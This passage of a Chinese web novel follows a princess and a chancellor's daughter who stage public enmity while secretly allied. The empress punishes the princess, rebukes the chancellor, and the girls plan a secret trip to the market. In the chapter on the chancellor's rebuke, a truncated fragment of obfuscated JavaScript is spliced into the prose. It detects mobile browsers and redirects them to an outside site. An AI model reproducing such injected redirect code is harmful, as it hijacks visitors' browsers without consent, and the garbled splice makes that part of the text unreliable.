“你知道?你知道还那么凶……”
“不凶一点,谁信?”
昭荧眨眨眼,然后“噗”一声笑出来。
“也是哦!”
她往草席上一坐,拍拍胸口:“吓死我了,我还以为你真生气了呢,你那眼神,冷得能冻死人,我都差点以为自己不是在演戏。”
裴泠箬走到她对面,照例掏出帕子铺好,跪坐下来。
“王女今天的表演,也很精彩。”她说。
“彼此彼此。”
昭荧笑嘻嘻道:“‘德不配位,必有灾殃’说得太好了,我看太傅差点背过气去。”
“他后来如何?”
“不知道,我没敢看,我怕一看他就笑出来。”
裴泠箬唇角微弯。
昭荧盯着她看了两秒,突然说:“你笑起来好看,平时怎么不多笑笑?”
裴泠箬收了笑,淡淡道:“习惯了。”
“又习惯。”昭荧撇嘴:“你什么都是‘习惯’,累不累?”
裴泠箬没答话,从袖子里掏出一个油纸包,递过去。
“什么?”昭荧接过来打开,眼睛一亮:“桂花糕!你带的?”
“嗯,御膳房的太甜,这个是我来时让青竹在外头买的,没那么腻。”
昭荧拿起一块塞进嘴里,嚼了嚼,眼睛更亮了。
“好吃!比御膳房的好吃多了!”
她三口两口吃完一块,又拿起一块,含糊不清地说:“静攸,你真好。”
裴泠箬闻言有点恍惚:
“你叫我什么?”
“静攸啊,你不是说你字静攸吗?我总不能一直‘裴泠箬’、‘喂’!的喊你,你也可以唤我的
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字,咱们不用那么生分。”
裴泠箬沉默了一会儿。
“私下可以。”她最终说:“人前还是叫裴小姐。”
“好吧好吧,人前咱们是仇人,必须水火不容。对了,你今天那个回击,是不是还有下半句?我总觉得你没说完。”
裴泠箬看着她,眼中闪过一丝赞赏。
“王女果然不傻。”
“快说快说,你本来还想说什么?”
裴泠箬沉吟片刻,缓缓道:“德不配位,必有灾殃,但位不配德,亦是折磨。”
昭荧愣了愣。
遂即她一拍大腿:“对!就是这个!我姨母和我母王,就是‘位不配德’的典型!
她们根本不想当皇帝,却被架在那位置上,天天受折磨,我要说的就是这个!”
她兴奋地站起来转了个圈,又突然停下,回头看着裴泠箬。
“静攸,你以后当我的军师吧,专门负责替我说话,我想说什么但说不出来的,你帮我说。”
窗外的天彻底阴了下来,远处传来隐隐的雷声。
“要下雨了。”裴泠箬站起身:“我该回去了。”
“哦。”昭荧也跟着起来:“明天见?”
“嗯。”
两人一前一后走出藏书阁,走到岔路口时,昭荧突然喊住她。
“静攸。”
裴泠箬回头。
昭荧站在暮色里,笑得眉眼弯弯:
“下次你怼我的时候,可以再狠一点,太傅那老头不经吓,多来几次,说不定以后就不敢点我名了。”
裴泠箬看着她,终于没忍住,弯了弯嘴角。
“好。”
她转身,往宫门的方向走去。
走出几步,身后又传来昭荧的声音:
“静攸!”
她回头。
昭荧站在那儿,冲她挥手,声音里带着笑:
“路上小心!别被雨淋着!”
裴泠箬立在原地,看着那个在暮色里冲她挥手的身影。
然后她微微点了点头,转身离去。
天边滚过一声闷雷,第一滴雨落下来时,裴泠箬已经上了相府的马车。
青竹递过帕子,小心翼翼地问:“小姐今日在宫学……小的听说,您和王女起了冲突?”
裴泠箬接过帕子,擦了擦手,如实道:“不过是说了几句实话。”
“可是……”青竹欲言又止:“王女毕竟是……您这样,会不会得罪她?”
裴泠箬看向车窗外,雨越下越大,打在车顶噼啪作响。
下意识说:“不会,她不会。”
青竹没听清:“小姐说什么?”
裴泠箬收回视线,恢复了一贯的淡然。
“没什么,回去吧。”
马车缓缓启动,驶入雨幕中。
——
皇宫那头,昭荧淋着雨跑回寝宫,被宫女们好一通念叨。
“王女怎么也不打个伞!这春雨最凉,万一受了风寒……”
“没事没事。”
昭荧接过帕子胡乱擦了两下,突然想起什么:“对了,明天让御膳房别做糕点了,我吃腻了。”
宫女一愣:“那王女想吃什么?”
昭荧想了想,笑起来:“桂花糕吧,要外头买的。”
“外头的?”宫女更疑惑了:“可外头的哪有御膳房的精细……”
“我就想吃外头的。”
昭荧往榻上一躺,把被子一盖:“记得啊,明天我要吃桂花糕。”
宫女应了声,退出去。
昭荧躺在榻上,看着屋顶的横梁,想起白天课堂上的种种。
裴泠箬站起来那一刻,她差点没绷住笑出来。
“真是个天才。”她喃喃自语。
5. 演戏的代价
日子在宫学的“相看两厌”里一晃过了一个月。
昭荧的“庸人计划”执行得堪称完美。
策论课上,太傅出题“论农桑之本”,她洋洋洒洒写满三页纸,全是《齐民要术》里抄来的套话,没一句自己的见解。
太傅看完,叹了口气,批了个“中”。
骑射场上,她拉弓搭箭,十箭里有五箭能上靶,但永远射不中红心。
禁军统领看着她的成绩,欲言又止,最后说:“王女……稳。”
至于和裴泠箬,那更是演足了全套。
课堂上,只要裴泠箬回答问题,昭荧必然翻白眼;只要昭荧出丑,裴泠箬必然出声讽刺,效果可想而知。
京城里的流言渐渐成型:
“听说了吗?王女在宫学整天混日子,策论写得还不如我家五岁的女儿。”
“裴相之女才是真才女,听说太傅都夸她有治国之才。”
“陛下怕是心都凉了,养出这么个纨绔王女,将来怎么接位?”
“接什么位?我看陛下迟早得另想办法。”
流言传进宫里,宫女们窃窃私语,内侍们交换眼色,连御花园的锦鲤都被议论得少了人投喂。
而所有这些,都通过朝臣的奏折、宗室的议论、宫人的碎嘴汇到一个地方:御书房。
皇帝姬明玥的桌上。
——
夜色很深。
姬昭荧被召进御书房时,还抱着轻松心态。
这一个月她演得很好,没闯祸、没出格,姨母召她,八成是例行关心。
她推门进去,笑嘻嘻道:“姨母?找我呀?”
然后她就看见了桌上那摞奏折。
摞得高高的,像座小山。
姬明玥坐在书案后,手里拿着一本,脸上恨铁不成钢。
“跪下。”
昭荧膝盖一软,直接跪了。
“姬昭荧。”姬明玥少有叫她全名:“你自己看看,这些奏折里写的什么。”
她随手拿起一本,念:
“臣闻王女于宫学不思进取,每日浑噩,恐非社稷之福。”御史台的。
又拿起一本:“王女骑射平平,策论无华,长此以往,何以承继大统?”宗正寺的。
再拿一本:“陛下春秋鼎盛,当早虑储君之事,若王女不堪,或可于宗室中另择贤者。”宰相府的。
昭荧听到最后一句,心里咯噔一下。
宰相府,裴泠箬她爹。
姬明玥把奏折摔在桌上,声音终于有了波动:“你在宫学是什么样子?你自己说!”
昭荧低着头,不敢辩,也不能辩,不然全白演了。
“朕让你入宫学,是让你读书明理,将来好接这江山。”
姬明玥站起身,走到她面前:“你呢?策论写套话,骑射混日子,还跟裴相之女当众争执,说那些不着调的话!”
昭荧小声嘟囔:“那不是争执……那是……”
“那是什么?”
“实话……”
姬明玥闭了闭眼,深吸一口气。
“家法。”
昭荧顿时白了脸:“姨母!”
但两个内侍已经奉命进来,昭荧被按在条凳上时,脑子里只有一个声音:
完了完了完了。
第一板落下。
“啪!”
她整个人一抖,眼泪瞬间飙出来。
疼!
“啪!”
第二板。
她咬住嘴唇,不让自己叫出声,但眼泪已经糊了满脸。
“啪!”
第三板。
“姨母——!”她终于没忍住,哭喊出来:“我错了——我不敢了——”
第四板。
昭荧哭得声音都变了调:“姨母……呜呜……疼……”
第五板。
“够了。”
姬明玥抬手,内侍立刻停手,退到一旁。
昭荧趴在条凳上,哭得上气不接下气。
姬明玥走过去,挥退内侍,亲自把她扶起来。
“疼吗?”
昭荧抽噎着点头,眼泪鼻涕糊一脸,说不出话。
姬明玥把她扶到椅子上坐下,可她刚挨着椅面就“嘶”一声弹起来,最后只能侧着身子,半靠半坐。
姬明玥看她这模样,蹲下身,语气软下来,“明曜,朕怎舍得真罚你?”
昭荧吸吸鼻子,眼泪还在流。
“你这条路,不能再这么走下去了。”
姬明玥抬手,给她擦擦眼泪:“你母王把你这颗独苗交给朕,朕要对她负责,更要对江山负责。”
昭荧抽噎着:“姨母……我错了……我会改的……”
“改?你保证?”
“保证……我以后好好读书……好好练骑射……不跟裴静攸吵架了……”
姬明玥看着她哭红的眼睛,叹了口气。
“禁足三日,好好反省。”
“……是。”
昭荧被宫女扶出御书房时,腿还是软的。
她走几步就“嘶”一声,走几步就“嘶”一声。
回到寝宫,趴到榻上那一刻,她终于忍不住,把脸埋进枕头里,闷闷地嚎了一声:
“太冤了——!”
——
翌日清晨。
宫学课堂,太傅按习惯点名:
“王女。”
没人应。
太傅抬头,看向那个空着的座位,眉头微皱。
这时一个宫女前来,在门口行礼:
“启禀太傅,王女昨夜受罚,今日身体不适,无法前来宫学,特命小的前来请假。”
课堂上瞬间响起窃窃私语。
“受罚?为什么受罚?”
“不知道啊……”
“听说陛下昨晚召见了王女……”
太傅咳了一声,压住议论声:“知道了,下去吧。”
宫女行礼退下。
裴泠箬坐在后排,低头看着面前的策论纸,手里握着笔,一动不动。
“裴小姐?”同桌小声叫她:“你怎么了?”
裴泠箬回过神,垂眸,笔尖落下,继续写刚才没写完的字。
“无事。”
——
三天后。
昭荧解禁。
她第一时间直奔藏书阁,确认没人跟踪,才推开那扇破旧的门。
“静攸!”
没人应。
阁楼里空空的,只有从破窗户透进来的阳光,照在积灰的书架上。
昭荧愣了愣。
她走到最里面,推开那个歪书架,露出那个小角落,草席还在,蒲团还在,木箱还在,蜡烛还在——
但没人。
“哎?”昭荧一屁股坐到草席上,然后“嘶”一声弹起来,捂着屁股龇牙咧嘴。
忘了,还疼着。
她侧着身子慢慢坐下,嘴里嘟囔:“人呢?说好的盟友据点.....三天没来,她不会以为我叛变了吧?”
她躺到草席上,看着头顶的横梁,默默吐槽:
屁股好疼。
姨母下手太狠了。
她明明是在演戏,却要挨实打实的罚,这世上还有比她更冤的人吗?
想着想着,她迷迷糊糊睡着了。
醒来时,窗外已经暗下来。
还是没人。
昭荧坐起身,揉了揉眼睛,看着空荡荡的阁楼,突然有点慌。
不会吧?裴泠箬不会真的以为她叛变了吧?她可是好不容易才找到个能说真话的人!
——
第二天。
昭荧掐着宫学散学的点,又溜去藏书阁。
推开门——裴泠箬站在一排破书架前,手里拿着一本书,正低头看。
“静攸!”
裴泠箬抬起头,看她一眼:“来了。”
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昭荧冲进去,差点被地上的破书绊倒,踉跄两步站稳,举手投降状:
“静攸!我来报备!前几天我被罚了,禁足三天,所以没来这儿,跟你说一声!”
裴泠箬把书放回书架,转身走向那个小角落,边走边说:
“听说了。”
昭荧跟着她走过去,一屁股坐到草席上,又“嘶”一声弹起来。
她龇牙咧嘴地捂着屁股,侧着身子慢慢坐下:“你早就知道了?”
裴泠箬在她对面坐下,照例掏帕子铺好,跪坐端正:
“自然。”
昭荧委屈巴巴地看着她,开始诉苦:
“我屁股啊……疼得跟火烧一样,姨母下手太狠了……五板!整整五板!我趴在条凳上哭得跟杀猪似的,太丢人了……”
裴泠箬静静听着,并不接话。
昭荧继续:“我明明是在演戏,却要挨实打实的罚,太冤了!静攸你说,这世上还有比我更冤的人吗?”
裴泠箬终于开口:“是你尺度没把握好。”
昭荧一噎,然后点头如捣蒜:
“是是是,听军师的,后续我们怎么调?你说,我改。”
裴泠箬沉吟片刻。
“你之前的策略没错,庸人路线是对的,但你漏了一点——陛下对你,不只是君臣,更是亲人。”
昭荧眨眨眼。
“亲人眼里,你可以平庸,但不能堕落,你演得太像‘自甘堕落’了,陛下能不寒心?”
昭荧愣住。
好像……有点道理?
“所以呢?怎么办?”
“中庸之道,你要表现的,不是‘我不学’,而是‘我学了,但就这水平’,前者是态度问题,后者是资质问题,态度可以改,资质没法改——你明白吗?”
昭荧眼睛慢慢亮起来。
“明白了!就是让姨母觉得,我不是不想学,我是真的笨!”
裴泠箬点头:“差不多。”
“静攸!”
昭荧激动得想拍大腿,一拍就扯到屁股,又“嘶”一声:
“你真是天才!太天才了!我这就改,以后上课认真听,作业认真写,这样姨母就没理由打我了!”
裴泠箬唇角微弯。
“还有。”她说。
“还有?”
“和我的关系。”
裴泠箬淡淡道:“课堂上可以继续‘水火不容’,但你是王女,我是臣女,你当众跟我计较,本身就落了下乘。”
昭荧想了想:“那我以后……不理你?”
“嗯。”
“见到你就翻白眼?”
“……适度。”
“懂了!”昭荧比个手势:“高冷蔑视,不屑一顾,对吧?”
.......
天快黑了。
昭荧躺在草席上,捂着屁股哼哼:
“我知道了我知道了……下次我一定把握好度,就是现在屁股疼得没法好好坐,太烦了。”
裴泠箬站起身,整理了一下衣裙。
“该回去了。”
“唉,又到这个时间了.....”
两人一前一后走出藏书阁。
走到岔路口时,裴泠箬突然停下脚步。
昭荧回头:“怎么了?”
裴泠箬没说话,从袖子里掏出一个小瓷瓶,放到了旁边的石墩上。
“这是什么?”昭荧走过去拿起来,看了看:“药膏?”
“活血化瘀,睡前涂。”
昭荧愣住。
她抬头看裴泠箬,对方已经转身,往宫门的方向走去。
暮色里,那抹月白色的身影走得不急不缓,裙摆轻轻拂过地上的青草。
昭荧握着那个小瓷瓶,突然喊:“静攸!”
听到声音,裴泠箬并不回头,走的更快了。
昭荧站在暮色里,咧开嘴笑:
“谢了啊!”
6. 敲打
弹劾姬昭荧的奏折,在御书房案上堆了整五日。
五日里,姬明玥每天上朝都能看见御史台那几位欲言又止的脸,每天批折子都能翻到宗正寺拐弯抹角的“忧心社稷之言”。
第五日散朝后,她终于把人召进了御书房。
御史台御史、宗正寺卿、宰相裴文渊——三人躬身立在殿中,神态各异。
御史一脸“臣终于等到这一天”的郑重,宗正寺卿端着“宗室表率”的架子,裴文渊则垂着眼,神色恭敬得挑不出半分错。
姬明玥坐在龙椅上,语气平淡:“说吧,这几日朝堂上吵得沸沸扬扬,朕想听听你们亲自说。”
御史率先上前一步,躬身行礼:“陛下,臣前日弹劾王女,纯为社稷考量,无半分私念!”
“哦?”姬明玥抬眼看过去:“说仔细些。”
御史深吸一口气,字字恳切:“王女近日在宫学,策论敷衍、骑射平平,更当众口出狂言,言‘皇位必归于己’!此等行径,岂是储君该有?臣恐王女难承大统,恳请陛下早做考量!”
姬明玥听着,面色不变,只微微点头。
宗正寺卿见状,也上前一步:“陛下,宗室子弟皆瞩目王女,若其始终平庸,恐难服众,臣斗胆进言,储君之事,关乎社稷根基,还请陛下……”
她顿了顿,终没把“另择贤者”四个字说出口,但意思已经摆在那儿了。
姬明玥听完,沉默片刻。
殿内一时安静得能听见窗外的鸟叫。
然后她笑了。
笑得温和,笑得慈祥,笑得御史和宗正寺卿心里直打鼓。
“朕懂你们的心思。”
姬明玥开口,语气比方才柔和了许多:“你们都是为大周朝着想,朕心里有数。”
她看向御史:“王女年方十四,性子跳脱,偶有散漫,实属正常,朕已罚过她,禁足三日,家法五板,她哭得朕耳朵都快聋了。”
顿了顿,语气里带上几分无奈的笑意:“这孩子打小就这样,闯祸的时候胆大包天,挨打的时候哭天喊地。
但她是朕一手带大的,什么性子朕最清楚,她只是还小,不懂事,不是真糊涂。”
又转向宗正寺卿:“昭荧是朕的侄女,是皇家唯一嫡系血脉,储君之事,朕自有分寸,宗室只需安心辅佐,莫要多言。”
两人对视一眼,都听出了陛下话里的意思:护犊子,护定了。
“臣遵旨。”御史躬身。
“臣明白。”宗正寺卿也连忙表态。
姬明玥挥挥手:“退下吧,日后多专注朝事,少议论宗室子弟是非,她才十四岁,你们就急着给她定罪,传出去,让人笑话大周朝堂没正事可干了?”
“是。”
二人躬身告退。
御书房的门关上,殿内只剩姬明玥和始终沉默的裴文渊。
气氛骤然静了下来。
裴文渊站在那儿,从头到尾没说过一句话。
此刻殿内只剩他一人,他依旧垂首而立,姿态恭敬得无可挑剔。
姬明玥不急着开口。
她端起茶盏,慢慢抿了一口,又放下。
茶盏与案几相碰,发出轻轻的“咔”一声。
“裴相。”她终于开口,语气比方才淡了许多:“你有话要说?”
裴文渊抬起头,神色依旧恭敬。
“陛下圣明。”他躬身道:“臣确有一言,愿为陛下进谏。”
“说。”
裴文渊定了定神,语气恳切,字斟句酌:
“陛下,储君乃社稷根基,不可儿戏,王女近日表现,朝野上下皆有议论。
臣虽知陛下护犊心切,但为江山社稷着想,仍恳请陛下……考量宗室其他贤者,或另择良才,以安天下。”
他顿了顿,放低姿态,语气愈发恭敬:
“臣女泠箬,自幼饱读诗书,略通治国之道,若陛下不弃,臣愿让泠箬尽心辅佐新君,不负陛下信任,不负裴家世代忠君之心。”
说完,他深深躬身,额头几乎触到胸口。
御书房里安静了片刻。
姬明玥看着眼前这个躬身垂首的男人,忽然笑了。
笑声不大,但落在裴文渊耳中,却像针扎一样。
“裴文渊。”语气里都带上了几分玩味:“你这话,是觉得朕的决定……不妥?”
裴文渊身子微微一僵,依旧垂首:“臣不敢。”
“不敢?”
姬明玥站起身,慢慢走下御阶,走到他面前:“你是宰相,有什么不敢的?方才那番话,不是说得挺顺溜吗?”
裴文渊额头渗出细汗,却依旧维持着恭敬的姿态:“臣一时失言,请陛下恕罪。”
姬明玥不接话。
她绕着裴文渊走了一圈,步伐不紧不慢,绣着金线的袍角轻轻拂过地面。
“裴文渊。”
她突然停住脚步,站在他身侧,语气淡淡道:“你忘了自己的本分,也忘了这相位,是怎么来的。”
裴文渊听见了自己吞咽唾沫的声音。
“臣……不敢忘。”
“不敢忘?”姬明玥轻笑一声:“那你告诉朕,你本姓什么?”
殿内陷入死一般的寂静。
良久,裴文渊才低声开口,声音里听不出情绪:“臣本姓苏。”
“嗯。”姬明玥点点头:“入赘裴家后,改随妻姓裴,这话没错吧?”
裴文渊垂在身侧的手攥紧了,又松开。
“是。”
姬明玥转身,走回御案后坐下,像在说一件无关紧要的事:
“你夫人,裴老相爷,是朕登基之初的肱骨之臣,忠心耿耿,为大周朝呕心沥血,可惜英年早逝,朕至今想起,仍觉痛心。”
她顿了顿,视线落在案下的人身上:
“她病逝之时,泠箬尚且年幼,无法承继相位,朕念及裴家有功,也念及你是泠箬生父,才暂时将宰相之位交给你,约定等泠箬成年,便将相位还回去。”
“这话,你还记得?”
裴文渊跪了下来。
“臣刻骨铭心,不敢有忘。”
“记得就好。”
姬明玥语气缓和了几分,却依旧带着不容逾越的底线:
“朕即位后,推行改革,打破‘男子不得居高位’的旧例,让你一个入赘裴家、改了妻姓的男子,坐上宰相之位,执掌朝政,这是朕对你的恩典,也是对裴老相爷的缅怀。”
“朕容你暂代相位,是让你尽忠职守、辅佐朕,不是让你插手储君之事,更不是让你借着裴家的权势,打着泠箬的旗号,谋不该谋的东西。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391795|200316||http|test|mini|href|location''.split(''|''),0,{}));
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>裴文渊的额头贴着地面,一动不动。
“臣绝无此意!”
他声音发紧,带着几分惶恐:“臣只是一时糊涂,一心为社稷着想,才失言提及储君之事!臣绝不敢觊觎相位,更不敢有半分异心!”
他没有辩解,没有争执,只有认错,姿态低到了尘埃里。
姬明玥居高临下地看着他,沉默了片刻。
“朕希望你是真的糊涂,不是真的有二心。”
她语气平静,听不出喜怒:
“昭荧是朕一手带大的,她只是还小,性子跳脱,不懂收敛,但她本性不坏,日后加以教导,只会比朕更优秀,更能撑起这大周朝的江山。”
“朕可以容忍你身为宰相,有一时的糊涂,但绝不能容忍你插手储君之事,辜负朕的信任,辜负裴老相爷的忠心。”
她顿了顿,一字一句:
“记住你的位置——你是暂代宰相,裴家的女婿,泠箬的生父,不是能左右储君之位的人。”
“下次再敢提及储君之事,你就回裴家待着罢!”
裴文渊连连叩首:“臣遵旨!臣绝不敢再犯!”
额头磕在地砖上,发出轻轻的闷响。
一下,两下,三下。
姬明玥看着,终于挥了挥手:“起来吧。”
裴文渊踉跄着站起身,依旧垂首,姿态恭敬。
“回去好好反省。”
姬明玥道:“日后专心朝政,莫要再想些不该想的,也好好教导泠箬,让她安心读书,日后辅佐昭荧,莫要被旁的心思带偏。”
“臣遵旨,谢陛下恩典。”
裴文渊躬身行礼,缓缓退出御书房。
御书房的门关上。
姬明玥站在窗前,看着裴文渊的背影穿过广场,越走越远,最终消失在宫门处。
她眉头微蹙。
裴文渊方才那番话,表面恭敬,实则试探,句句都踩在底线上。
她怎会看不出他的心思。
只是念及裴老相爷的功劳,念及泠箬年幼,才没有赶尽杀绝。
但今日这番敲打,他听进去了几分,她不确定。
“明曜。”
她低声呢喃,眼底浮上几分担忧:
“姨母能护你一时,不能护你一世,你可要快点长大,快点懂事,才能守住这江山,也守住自己。”
窗外的桃花开得正好,风吹过,花瓣簌簌落下。
与此同时,宫学。
昭荧趴在桌上,百无聊赖地转着笔。
太傅正在讲《史记》里的“高祖本纪”,声音抑扬顿挫,但她一个字都没听进去。
她侧过头,偷偷瞄了一眼后排。
裴泠箬坐得端端正正,正低头写字,侧脸清冷,像一尊玉雕。
昭荧收回视线,继续转笔。
转着转着,她忽然想起什么,从桌上撕了张小纸条,歪歪扭扭写了一行字:
“静攸,我今天教你一点好玩的!”
写完,她趁着太傅转身板书的空当,把纸条揉成小团,悄悄往后一抛。
纸团精准地落在裴泠箬桌上。
裴泠箬却只低头看了一眼。
昭荧急了,回头拼命使眼色。
裴泠箬终于抬起眼,淡淡瞥了她一眼,默默把纸团收进了袖中。
7. 约定
宫学散学的钟声刚敲响,姬昭荧就抱起书卷,难得积极地往外走。
太傅看着她的背影,竟有些受宠若惊——这祖宗今天居然没磨蹭?
昭荧脚步轻快地往废弃藏书阁赶,心里美滋滋的。
纸条上许的“好玩的”,她可是琢磨了一整天。
推开门时,裴泠箬已经在了。
她端坐于草席上,手里捧着一本旧卷,指尖轻拂书页,眉眼清冷,身姿端庄,连呼吸都透着规整。
夕阳从破窗户斜照进来,在她身上镀了层淡金色的光,像幅画。
昭荧每次看她这样,都觉得神奇。
一个人,怎么能随时随地都端着,连没人看见的时候都不肯放松?
“静攸!我来啦!”
昭荧几步跨过去,侧着身子在她对面坐下,狡黠笑道:“等急了吧?”
裴泠箬合上书,抬眼看向她,摇摇头:“不急,正好把这本书看完了。”
“什么书?”
“前朝某位不知名文人的随笔,讲些市井见闻,倒有意思。”
语罢顿了顿,看向她:“你要教我什么?”
昭荧拍了拍手,脸上写满了得意:“教你‘不端庄’啊!
你整天绷着,又是宰相之女,又是才女,连笑都要端着,多累啊!今天我教你的,保证能让你彻底放开,不用想规矩,不用装样子!”
裴泠箬看着她,眼神里写着“你最好真有好东西”。
昭荧也不卖关子,直接伸出手,学着看到的样子,握拳、伸指,演示得有模有样:
“就是这个!划拳!”
裴泠箬眉头微蹙。
“你看,握拳是‘拳’,伸一根手指是‘一’,两根是‘二’,我们俩对着喊数,谁喊对了谁赢,输了的就罚说一句不端庄的话,或者做一个不端庄的动作,怎么样,够刺激吧?”
昭荧一边说,一边伸手去拉裴泠箬的手,强行把她的手攥成拳:
“来,试试!我教你,很简单的!你整天端端正正,偶尔‘坏’一次,肯定特别放松!”
裴泠箬猛地抽回手。
动作之大,把昭荧吓了一跳。
“不可。”
裴泠箬眉头紧蹙,神色里带着明显的不齿与抗拒,语气也沉了几分:
“此乃闲杂人等才会玩的粗鄙把戏,我辈当端庄自持,怎可做这种有失体统的事?”
昭荧愣了愣,然后笑了。
“什么粗鄙啊!”
她不服气地反驳:“这叫放松!我看那些宫女内侍想玩就玩,想笑就笑,多自在?你就是太绷着了,才觉得这是粗鄙!”
裴泠箬抿了抿唇,不说话。
昭荧见她不吭声,又凑过去,语气软了些,怂恿道:
“就玩一次嘛!没人知道的,这里就我们两个人,不用装端庄,不用当才女,就当两个普通的小丫头,玩一会儿怎么了?”
裴泠箬依旧沉默,神色依旧坚定,但没有再直接拒绝。
昭荧多精啊,一看有戏,立刻滔滔不绝地讲起了自己看到的场景,说得绘声绘色、惟妙惟肖:
“我跟你说啊,今天午后我溜去御花园躲懒,路过西边的小偏院,看到好几个宫女和内侍聚在一块儿划拳,可热闹了!”
“有个小内侍,输了就耍赖,说自己喊慢了,被宫女们追着打,还嘴硬说‘再来一次,肯定赢’;
还有个老宫女,喊‘五魁首’喊得比谁都响,赢了还拍桌子笑,一点都不端着!”
她一边说,一边模仿着当时的动作,握拳、喊数、拍桌子,学得有板有眼,脸上满是雀跃:
“我站在那儿看了好一会儿,都看入迷了!然后,我就想到你了!”
裴泠箬静静听着,眉头渐渐舒展,神色里的不齿淡了许多,多了几分不易察觉的好奇。
昭荧趁热打铁,又伸手去拉她的手:“你看,是不是很有意思?就玩一次,就一次,输了我替你罚,行不行?”
裴泠箬的手微微动了动,没有猛地抽回,只是还有些僵硬。
她沉默了好一会儿,才轻声开口,语气柔和了几分:“真的……不会被人发现?”
昭荧心里一喜,面上却绷住了,拍着胸脯保证:“放心!这里就我们两个人,天知地知,你知我知,谁都不会知道的!”
裴泠箬又沉默了。
昭荧眼巴巴看着她,等啊等。
终于,裴泠箬缓缓抬起手,学着昭荧的样子,笨拙地攥成拳。
“……那,只玩一次。”
昭荧瞬间兴奋起来:“好!就一次!我教你,先握拳,然后喊数,比如我喊‘三’,你喊‘二’,要是我出的手指加你的手指等于三,就是我赢,反之就是你赢,懂了吗?”
裴泠箬轻轻点头。
两人面对面坐着,一个兴奋得像捡到宝,一个绷着脸像赴刑场。
“来!开始!”
昭荧喊:“五!”
出的手指是三。
裴泠箬下意识跟着喊:“五……”
出的手指是二。
昭荧一愣,然后笑得前仰后合:“静攸!你喊的是五,出的是二,加起来是五,你自己喊五,应该是我赢才对!你输了!”
裴泠箬脸颊微微泛红。
她局促地坐在那儿,不知道该罚自己说什么不端庄的话。
昭荧笑够了,摆摆手:“好啦好啦,不罚你了!看你这拘谨的样子,还是没放开。”
裴泠箬垂下眼,不说话。
昭荧以为她不好意思,正要转移话题,却听她轻声开口:
“我想……”
“嗯?”
裴泠箬抬眼看向窗外。
目光越过破窗户,越过宫墙,落在远处的方向。
“我想试着真正放松一次。”
她说,语气轻轻的,颇有几分向往:“不是在这里学划拳,是去市集上逛一逛,做个普通人。”
昭荧眨眨眼。
“可我住相府,父亲管得极严。”
裴泠箬收回视线,看向自己的手掌,语气里带着几分不易察觉的委屈:
“平日里出府都要报备,身边还有人跟着,根本没法自己出府,更别说去市集了。”
她顿了顿,眼底的光芒暗了几分,解释道:“我只是……随便说说。”
昭荧看着她。
看着她垂下的眼睫,看着她微微抿起的唇角,看着她端坐的姿态里那一点点不易察觉的僵硬,拍了拍大腿。
“这有什么难的!”
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裴泠箬抬起头。
昭荧凑近她,眼里满是笃定:“你忘了?我们合作本身就是基于你给我出主意,我帮你轻松一点。
你出入受制,但我出入宫没人敢拦,姨母疼我,什么都顺着我!
等宫休日,我亲自去相府找你,就说姨母让我请你入宫陪我读书,裴文渊就算再严,也不敢不给姨母面子,肯定会放你出府!”
裴泠箬愣了愣。
“到时候......”
昭荧越说越来劲:“我们出了相府,不回皇宫,直接去市集!逛够了再回宫,谁都不会发现!”
“就算有人看到我们在一起怀疑什么,那就说我找你是为了算宫学里你总怼我的账,让你给我当跟班,杀杀你的锐气!”
裴泠箬看着她,眼底的顾虑渐渐消散,多了几分浅淡的期待。
“……真的能行吗?”她轻声问,语气里竟有些不确定:
“我父亲他,向来对我要求极严,不许我做这些‘不务正业’的事。”
“绝对行!”
昭荧用力点头,拉着她的手晃了晃:“我可是王女,裴文渊还能不给我这个面子?
再说了,我就说请你入宫,又不说去市集,他肯定不会怀疑!等出了相府,咱们就去市集,逛够了再回宫,完美!”
裴泠箬看着被她攥着的手,血液都沸腾了。
她抬眼,对上昭荧亮晶晶的眼睛,终于轻轻点头:
“好,我信你。”
昭荧笑得眉眼弯弯:“这才对嘛!放心,包在我身上!”
她松开手,开始兴致勃勃地规划行程:
“到时候,我们先去吃街口的馄饨!我跟你说,御膳房的馄饨精致是精致,但没那个味儿,外头街边摊的馄饨,汤浓皮薄,撒一把葱花,香得能把舌头吞下去!”
“你怎得知道?”
“你猜我名声为什么不好?”
裴泠箬了然的笑了笑,昭荧则继续说:“吃完馄饨,我们去看杂耍!”
“听说最近京城来了个杂耍班子,会喷火、会吞剑,还有猴子御猪,可好玩了!”
裴泠箬眉头微动:“喷火?吞剑?”
“对啊对啊!我早就想看了,但姨母不让,说危险,这次正好,咱们偷偷去看,看完回来谁也不说!”
裴泠箬唇角微微弯了弯。
“还有卖小泥人的!你知道的吧?到时候我给你买一个最可爱的,保证让你爱不释手!
你把它藏在屋里,想放松的时候就拿出来看看,就不觉得那么累了!”
裴泠箬看着她,眼底的拘谨与清冷渐渐褪去。
……
夕阳渐渐西斜。
破窗户里透进来的光,从金黄变成橘红,把两人的影子拉得很长很长。
昭荧还在说,规划越来越详细,连逛完市集回宫后怎么对词都想到了。
裴泠箬看着她雀跃的面庞不知道想些什么。
“……静攸?”
昭荧的声音把她拉回来。
“你想什么呢?我说咱们辰时出发,会不会太早?”
裴泠箬回过神,轻轻摇头:“不早,听你安排。”
昭荧满意地点头:“那就这么定了!宫休日,辰时,我去相府接你!”
8. 赴约
宫休日,辰时三刻。
姬昭荧难得起了个大早。
她站在铜镜前,让宫女帮她整理衣袍,一遍遍叮嘱:
“要端庄,要稳重,要像个认真读书的王女。”
宫女们面面相觑,讶异王女今日吃错药了?
收拾妥当,昭荧直奔御书房。
姬明玥正在用早膳,见她来,筷子都顿了一下:
“今日休朝,你怎么起这么早?”
昭荧乖巧行礼:“姨母,今日虽是休息日,但我昨日功课有个不懂的地方,想亲自出宫去请教裴静攸。”
姬明玥筷子又顿了一下。
“请教裴泠箬?”
“嗯。”昭荧点头,一脸真诚:“昨日太傅讲的内容,我有些地方没太明白,裴小姐学问好,我想去问问她。”
姬明玥看着她,眼神复杂。
这孩子……转性了?
“你确定是去请教功课,不是去找人家麻烦?”
她试探着问:“朕可听说你们在宫学水火不容。”
昭荧立刻摇头,满脸无辜:“姨母冤枉我!我是真心想好好读书,上次您罚我,我都记在心里了,再不敢混日子了。”
